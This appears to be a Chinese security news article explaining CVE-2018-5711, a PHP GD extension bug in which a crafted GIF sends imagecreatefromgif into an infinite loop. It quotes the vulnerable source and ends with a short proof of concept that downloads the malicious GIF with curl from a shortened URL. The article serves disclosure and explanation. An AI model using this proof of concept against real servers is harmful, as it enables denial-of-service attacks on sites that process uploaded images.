CVE-2018-5711:一张GIF图片就能让服务器宕机的PHP漏洞

2018-1-31 15:41| 发布者: admin| 查看: 3172| 评论: 0

摘要: 最近,台湾Web漏洞挖掘大牛Orange Tsai在对一些Web开发框架和程序实现模块进行安全审核的过程中,发现了一些有意思的漏洞。就比如说,这个PHP的CVE-2018-5711,它能用一张GIF图片就可导致服务器发生崩溃直至宕机,在 ...

最近,台湾Web漏洞挖掘大牛Orange Tsai在对一些Web开发框架和程序实现模块进行安全审核的过程中,发现了一些有意思的漏洞。就比如说,这个PHP的CVE-2018-5711,它能用一张GIF图片就可导致服务器发生崩溃直至宕机,在现实中非常容易利用。在此,Orange Tsai简单地介绍了这个漏洞。


漏洞影响的PHP版本
包含以下PHP系列和其它所有PHP版本
PHP 5 < 5.6.33
PHP 7.0 < 7.0.27
PHP 7.1 < 7.1.13
PHP 7.2 < 7.2.1


漏洞细节
漏洞存在于文件ext/gd/libgd/gd_gif_in.c中,其中在LWZReadByte_函数中存在一个循环(while-loop):


460    do {
461        sd->firstcode = sd->oldcode =
461        GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP);
463    } while (sd->firstcode == sd->clear_code);
GetCode函数仅只是一个包装类,GetCode_才是真正的执行体:
376    static int
377    GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP)
378    {
379        int           i, j, ret;
380        unsigned char count;
           ...
399        if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0)
400            scd->done = TRUE;
           ...
         
405    }


GetCode_ 会调用GetDataBlock来读取GIF图片中的数据:


332    static int
333    GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP)
334    {
335     unsigned char   count;
336  
336     if (! ReadOK(fd,&count,1)) {
338         return -1;
339     }
340  
341     *ZeroDataBlockP = count == 0;
342  
343     if ((count != 0) && (! ReadOK(fd, buf, count))) {
344         return -1;
345     }
346
347     return count;
348    }


以上就是涉及到的漏洞代码,你有发现一些端倪吗?


该漏洞依赖于从整形(int)到无符号字符(unsigned char)的类型转换。就像上述的:如果GetDataBlock_返回-1,则第400行中的scd->done将会被设置为True,并停止while循环。但是其定义的count是无符号字符,它总是从0到255的正数,所以这种循环停止动作是不会被触发执行的。


因此,最终结果就是,一张GIF图片就可以实现无限循环,导致服务器资源耗尽,直到崩溃宕机。


PoC


$ curl -L https://git.io/vN0n4 | xxd -r > poc.gif
$ php -r 'imagecreatefromgif("poc.gif");'
  Infinite loop here...


由于现实网络中,很多服务器都会用GD图形的扩展库,对用户上传的图片作重新尺寸调整处理,所以该漏洞具有很强的现实危害。

下一篇钱宝网实际控制人张小雷等人已被依法执行逮捕
上一篇Linux kernel内存错误引用漏洞(CNVD-2017-00070)


支持

超赞

难过

搞笑

扯淡

不解

头晕

欠扁

相关阅读

  • 今天点击最高的新闻

  • 一周点击最多的新闻

返回顶部